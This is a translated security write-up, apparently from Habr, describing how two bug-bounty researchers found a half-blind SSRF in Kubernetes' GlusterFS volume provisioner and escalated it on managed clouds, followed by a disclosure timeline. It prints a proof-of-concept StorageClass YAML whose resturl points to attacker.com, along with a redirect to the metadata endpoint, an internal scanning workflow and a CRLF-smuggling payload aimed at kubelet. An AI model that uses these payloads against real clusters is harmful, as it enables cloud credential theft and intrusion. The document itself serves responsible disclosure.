Прим. прев.: авторите на тази статия подробно разказват как успяха да открият уязвимостта в Kubernetes. Въпреки че първоначално не изглеждаше особено опасна, в комбинация с други фактори критичността ѝ се оказа максимална за някои облачни доставчици. Специалистите, провели работата, бяха щедро възнаградени от няколко организации.

Кои сме ние
Ние сме двама френски изследователи в областта на сигурността, които съвместно откриха уязвимост в Kubernetes. Казваме се Brice Augras и Christophe Hauquiert, но на много платформи за Bug Bounty сме известни като Reeverzax и Hach съответно:
- — ;
- — архитект на Kubernetes в Nokia.
Какво се случи?
Тази статия е нашият начин да разкажем как обикновен изследователски проект неочаквано се превърна в най-вълнуващото приключение в живота на ловците на бъгове (поне за момента).
Както вероятно знаете, ловците на бъгове имат няколко забележителни особености:
- те живеят на пици и бира;
- те работят, когато всички останали спят.
Ние не сме изключение от тези правила: обикновено се срещаме през уикендите и прекарваме безсъщни хакерски нощи. Но една от тези нощи завърши по доста необичаен начин.
Първоначално се събирахме, за да обсъдим участие в на следващия ден. По време на разговора за сигурността на Kubernetes в управляемата сервисна среда си припомнихме една стара идея за SSRF () и решихме да опитаме да я използваме като сценарий за атака.
В 11 вечерта започнахме изследвания, а заспахме рано сутринта, доста доволни от резултатите. Именно тези изследвания ни доведоха до програмата MSRC Bug Bounty и измислихме експлойт с ескалация на права.
Минаха няколко седмици/месеци, и нашият неочакван резултат ни донесе една от най-високите награди в историята на Azure Cloud Bug Bounty — в допълнение към тази, която получихме от Kubernetes!
В вдъхновение на нашия изследователски проект, комитетът на Kubernetes Product Security Committee публикува .
Сега искаме да разпространим информацията за откритата уязвимост възможно най-широко. Надяваме се, че ще оцените откритията и ще споделите техническите подробности с други членове на инфосек обществото!
И така, ето нашата история...
Контекст
За да предадем пълния смисъл на случващото се, нека първо разгледаме как работи Kubernetes в управляемата облачна среда.
Когато създавате екземпляр на Kubernetes клъстер в такава среда, управлението на контролния слой обикновено се предоставя от доставчика на облачни услуги:

Контролният слой е разположен на границата на облачния доставчик, докато узлите на Kubernetes са в рамките на клиента.
За динамичното разпределяне на обеми се използва механизъм за динамично предоставяне от външен storage-бекенд и асоцииране с PVC (persistent volume claim, т.е. искане за обем).
Следователно, след като PVC е създаден и свързан с StorageClass в клъстера K8s, последващите действия по предоставянето на обема се поемат от kube/cloud controller manager (точното му име зависи от версията). (Прим. прев.: За повече информация относно CCM на примера на неговата реализация за един от облачните доставчици, вече сме писали. .)
Съществуват няколко разновидности на provisioner-и, поддържани от Kubernetes: повечето от тях са включени в , а други се управляват от допълнителни provisioner-и, които са разположени в подове в клъстера.
В нашето изследване се фокусирахме върху вътрешния механизъм за предоставяне на обеми, който е илюстриран по-долу:

Динамично предоставяне на обеми с използване на вградения provisioner на Kubernetes.
Накратко, когато Kubernetes е разположен в управляемата среда, управлението на controller managera се поема от доставчика на облачни услуги, но заявката за създаване на обем (номер 3 на схемата по-горе) напуска границите на вътрешната мрежа на облачния доставчик. Тук ситуацията става наистина интересна!
Сценарий на хакване
В този раздел ще опишем как използвахме споменатия по-горе работен процес, за да получим достъп до вътрешните ресурси на доставчика на облачни услуги. Освен това ще демонстрираме как могат да се извършат определени действия - например, получаване на вътрешни идентификационни данни или повишаване на привилегиите.
Една проста манипулация (в случая това е Service Side Request Forgery) помогна да излезем извън границите на клиентската среда в клъстерите на различни доставчици на управляем K8s.
В своите изследвания се фокусирахме върху GlusterFS provisioner. Въпреки че последващите действия са описани в този контекст, същите уязвимости са налични и при Quobyte, StorageOS и ScaleIO.

Злоупотреба с механизма за динамично предоставяне на томове
По време на анализа на класовете за съхранение GlusterFS в изходния код на клиента на Golang установихме при първото HTTP запитване (3), изпратено по време на създаване на том, към края на потребителския URL в параметъра resturl се добавя /volumes.
За да елиминираме този допълнителен път, решихме да добавим # в параметъра resturl. Ето първата YAML конфигурация, която използвахме за проверка на „полуслепата“ SSRF уязвимост (може да прочетете повече за semi-blind или half-blind SSRF, например, — бел. ред.):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfСлед това за отдалечено управление на Kubernetes клъстера използвахме бинарния файл kubectl. Обикновено облачните доставчици (Azure, Google, AWS и др.) позволяват полученият достъп до техните данни да се използва с този инструмент.
Благодарение на това успяхме да приложим своя „специален“ файл. Kube-controller-manager изпълни полученото HTTP запитване:
kubectl create -f sc-poc.yaml 
Отговорът от гледна точка на атакуващия
Скоро след това успяхме да получим HTTP отговор от целевия сървър — чрез командите describe pvc или get events в kubectl. И наистина: този Kubernetes драйвер по подразбиране е твърде многословен в предупрежденията/съобщенията за грешки...
Ето пример с връзка на https://www.google.fr, зададена като параметър resturl:
kubectl describe pvc poc-ssrf
# или можете да използвате kubectl get events 
В рамките на този подход бяхме ограничени до запитвания от тип HTTP POST и не можехме да получим съдържанието на тялото на отговора, ако кодът на отговора беше 201. Затова решихме да проведем допълнителни изследвания и да разширим този сценарий на хакване с нови подходи.
Еволюция на нашите изследвания
- Напреднал сценарий №1: използване на 302 пренасочване от външен сървър за промяна на HTTP метода, за да се получи по-гъвкав начин за събиране на вътрешни данни.
- Напреднал сценарий №2: автоматизиране на сканирането на LAN и откритие на вътрешни ресурси.
- Разширен сценарий №3: използване на HTTP CRLF + smuggling („контрабандни“ заявки) за създаване на адаптирани HTTP-заявки и извличане на данни от логовете на kube-controller-а.
Технически спецификации
- В проучванията е използвана Azure Kubernetes Service (AKS) с Kubernetes версия 1.12 в Северна Европа.
- Описаните по-горе сценарии бяха изпълнени на последните версии на Kubernetes с изключение на третия сценарий, тъй като той изискваше Kubernetes, компилиран с Golang версия ≤ 1.12.
- Външен сървър на атакуващия —
https://attacker.com.
Разширен сценарий №1: пренасочване на HTTP-заявка POST в GET и извличане на конфиденциални данни
Първоначалният метод беше подобрен с конфигурацията на сървъра на злонамерения субект за връщане 302 HTTP Retcode, за да конвертира POST-заявката в GET-заявка (стъпка 4 на схемата):

Първата заявка (3), излизаща от клиента GlusterFS (Controller Manager), е от тип POST. Извършвайки следните стъпки, успяхме да я преобразуваме в GET:
- като параметър
resturlв StorageClass се посочваhttp://attacker.com/redirect.php. - Endpoint
https://attacker.com/redirect.phpотговаря със статус код 302 HTTP с следния Location Header:http://169.254.169.254. Това може да бъде всякакъв друг вътрешен ресурс — в този случай пренасочващата връзка се използва изключително за пример. - По подразбиране библиотека net/http на Golang пренасочва заявката и конвертира POST в GET с 302 статус код, в резултат на което на целевия ресурс постъпва HTTP-заявка GET.
За да прочетете тялото на HTTP-отговора, трябва да извършите describe на обект PVC:
kubectl describe pvc xxxЕто пример за HTTP-отговор във формат JSON, който успяхме да получим:

Възможностите на откритата уязвимост тогава бяха ограничени поради следните причини:
- Невъзможност за вмъкване на HTTP-заглавки в излизащата заявка.
- Невъзможност за извършване на POST-заявка с параметри в тялото (така удобно е да запитате стойността на ключа от инстанция etcd, работеща на 2379 порта, ако се използва нешифрован HTTP).
- Невъзможност за получаване на съдържанието на тялото на отговора, когато статус кодът беше 200 и отговорът нямаше JSON Content-Type.
Разширен сценарий №2: сканиране на локалната мрежа
Този метод half-blind SSRF след това беше използван за сканиране на вътрешната мрежа на доставчика на облачни услуги и запитване на различни слушащи сървиси (инстанция Metadata, Kubelet, etcd и т.н.) на базата на отговорите на kube controller-а.

Първо бяха определени стандартните слушащи портове на компонентите на Kubernetes (8443, 10250, 10251 и т.н.), след което се наложи автоматизиране на процеса на сканиране.
Видя, че този метод за сканиране на ресурси е много специфичен и не съвпада с класическите скенери и SSRF инструменти, решихме да създадем собствени worker-и в bash скрипт, които автоматизират целия процес.
Например, за да сканираме по-бързо диапазона 172.16.0.0/12 на вътрешната мрежа, стартирахме паралелно 15 worker-а. По-горе споменатият диапазон IP беше избран единствено като пример и може да се промени на IP диапазон на конкретен доставчик на услуги.
За да сканирате един IP адрес и един порт, е необходимо да направите следното:
- да изтриете проверения предишния път StorageClass;
- да изтриете предишния проверен Persistent Volume Claim;
- да промените стойностите на IP и Port в
sc.yaml; - да създадете StorageClass с нов IP и порт;
- да създадете нов PVC;
- да извлечете резултатите от сканирането с помощта на describe за PVC.
Разширен сценарий №3: инжекция CRLF + смuggling HTTP в „стари“ версии на клъстера Kubernetes
Ако освен това доставчикът е предлагал на клиентите стари версии на клъстера K8s и и им е давал достъп до логовете на kube-controller-manager, ефектът ставаше още по-значителен.
Наистина, злоумышленикът много по-удобно може да променя HTTP заявките по свое усмотрение, предназначени за получаване на пълния HTTP отговор.

За реализиране на последния сценарий трябваше да се изпълняват следните условия:
- Потребителят трябва да има достъп до логовете на kube-controller-manager (както например в Azure LogInsights).
- Клъстерът Kubernetes трябва да използва версия на Golang по-ниска от 1.12.
Разгърнахме локална среда, симулираща обмен на данни между Go клиента GlusterFS и фалшив целеви сървър (за сега ще се въздържим от публикуване на PoC).
Беше открита , засягаща версии на Golang под 1.12 и позволяваща на хакерите да извършват атаки от типа HTTP смuggling/CRLF.
Обединявайки описаната по-горе half-blind SSRF с тази, успяхме да изпращаме заявки по наш вкус, включително замяна на заглавия, метод на HTTP, параметри и данни, които kube-controller-manager след това обработваше. Ето пример за работна „нажива“ в параметъра
StorageClass-а, който реализира подобен сценарий на атака: resturl http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep- alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn
В резултат на това възниква грешкаunsolicited response unsolicited response, съобщение, което се записва в логовете на контролера. Благодарение на включената по подразбиране "многословност", там се запазва и съдържанието на отговорните HTTP съобщения.
![]()
Това беше нашата най-успешна "наживка" в контекста на proof of concept.
Използвайки този подход, успяхме да извършим някои от следните атаки в клъстери на различни доставчици на managed k8s: ескалация на привилегии с получаване на идентификационни данни на metadata инстанции, DoS на мастера с помощта на (незашифровани) HTTP заявки към мастър екземпляри etcd и т.н.
Последици
В официално изявление на Kubernetes относно откритата от нас SSRF уязвимост, ѝ беше присъден рейтинг CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Ако се вземе предвид само уязвимостта, свързана с периметъра на Kubernetes, векторът на целостност (integrity vector) в нея се квалифицира като Няма.
Въпреки това оценката на възможните последствия в контекста на управлявана сервисна среда (и това беше най-интересната част от нашето изследване!) ни подтикна да преквалифицираме уязвимостта с рейтинг Критична CVSS10/10 за много дистрибутори.
По-долу е предоставена допълнителна информация, която ще помогне да се разбере какво ръководи нашата оценка на възможните последствия в облачни среди:
Целостност
- Отдалечено изпълнение на команди с получените вътрешни идентификационни данни.
- Възпроизвеждане на горепосочения сценарий по метода IDOR (Insecure Direct Object Reference, т.е., небезопасни директни препратки към обекти) с други ресурси, открити в локалната мрежа.
Конфиденциалност
- Атака от тип чрез кражба на облачни идентификационни данни (например, metadata API).
- Събиране на информация чрез сканиране на локалната мрежа (определяне на версия на SSH, версия на HTTP сървъра, …).
- Събиране на информация за инстанции и инфраструктура чрез запитвания към вътрешни API, като metadata API (
http://169.254.169.254, …). - Кражба на клиентски данни чрез облачни идентификационни данни.
Достъпност
Всички сценарии на приложение на експлойти, свързани с векторите на атака на целостност (integrity), могат да бъдат използвани за разрушителни действия и да доведат до недостъпност на мастър инстанциите от клиентския периметър (или който и да е друг).
Тъй като работехме в управляемата среда K8s и оценявахме въздействието върху целостта, можем да си представим множество сценарии, които могат да повлияят на достъпността. Например, повреда на базата данни etcd или извършване на критичен API повикване в Kubernetes.
Хронология
- 6 декември 2019 г.: изпращане на съобщение за откритата уязвимост на MSRC Bug Bounty.
- 3 януари 2020: трета страна уведоми разработчиците на Kubernetes, че работим по проблем със сигурността и поиска от тях да считат SSRF за вътрешна уязвимост. След това представихме общ доклад с технически подробности за източника на проблема.
- 15 януари 2020: предоставихме на разработчиците на Kubernetes технически и общи отчети по тяхна заявка (чрез платформата HackerOne).
- 15 януари 2020: разработчиците на Kubernetes ни информираха, че half-blind SSRF + CRLF инжекция за предишни версии се счита за вътрешна уязвимост. Веднага прекратихме анализа на периметъра на другите услуги: първопричината сега беше в ръцете на K8s.
- 15 януари 2020: получихме награда от MSRC чрез HackerOne.
- 16 януари 2020: Kubernetes PSC (Комитет за продуктова сигурност) призна уязвимостта и поиска да я запазим в тайна до средата на март заради многото потенциални жертви.
- 11 февруари 2020: получена награда от Google VRP.
- 4 март 2020: получена награда от Kubernetes чрез HackerOne.
- 15 март 2020: предварително планираното публично разкриване е отложено поради ситуацията с COVID-19.
- 1 юни 2020: съвместно изявление на Kubernetes + Microsoft относно уязвимостта.
TL;DR
- Пием бира и ядем пица 🙂
- Открихме вътрешна уязвимост в Kubernetes, въпреки че не беше нашата цел.
- Извършихме допълнителен анализ в клъстери на различни облачни доставчици и успяхме да увеличим щетите, причинени от уязвимостта, за да получим допълнителни страхотни бонуси.
- В тази статия ще намерите много технически подробности. С радост ще ги обсъдим с вас (Twitter: & ).
- Оказа се, че всевъзможните формалности и изготвянето на отчети отнемат много повече време от очакваното.
Връзки
- ;
- ;
- ;
- .
P.S. от преводача
Прочетете също в нашия блог:
- «»;
- «»;
- «».
Източник: habr.com
